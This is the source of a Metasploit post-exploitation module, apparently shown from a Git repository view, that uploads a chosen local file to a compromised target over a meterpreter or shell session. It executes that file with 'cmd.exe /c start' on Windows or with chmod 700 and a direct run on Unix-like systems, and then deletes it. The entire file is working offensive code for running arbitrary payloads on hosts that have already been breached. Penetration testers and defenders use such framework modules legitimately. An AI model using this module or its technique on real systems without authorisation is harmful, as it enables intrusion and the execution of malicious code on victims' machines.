Files
metasploit-gs/modules/post/multi/manage/upload_exec.rb
T
William Vu 0433cb92ba Fix upload_exec for absolute paths
Also prefer chmod 700 over 755, since it's our file.
2018-07-26 19:48:12 -05:00

61 lines
1.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Upload and Execute',
'Description' => %q{ Push a file and execute it },
'License' => MSF_LICENSE,
'Author' => [ 'egypt'],
'Platform' => [ 'win','linux','osx' ],
'SessionTypes' => [ 'meterpreter','shell' ]
))
register_options(
[
OptPath.new('LPATH', [true,'Local file path to upload and execute']),
OptString.new('RPATH', [false,'Remote file path on target (default is basename of LPATH)']),
])
end
def rpath
if datastore['RPATH'].blank?
remote_name = File.basename(datastore['LPATH'])
else
remote_name = datastore['RPATH']
end
remote_name
end
def lpath
datastore['LPATH']
end
def run
upload_file(rpath, lpath)
if session.platform.include?("windows")
cmd_exec("cmd.exe /c start #{rpath}", nil, 0)
else
cmd = "chmod 700 #{rpath} && "
# Handle absolute paths
if rpath.start_with?('/')
cmd << rpath
else
cmd << "./#{rpath}"
end
cmd_exec(cmd, nil, 0)
end
rm_f(rpath)
end
end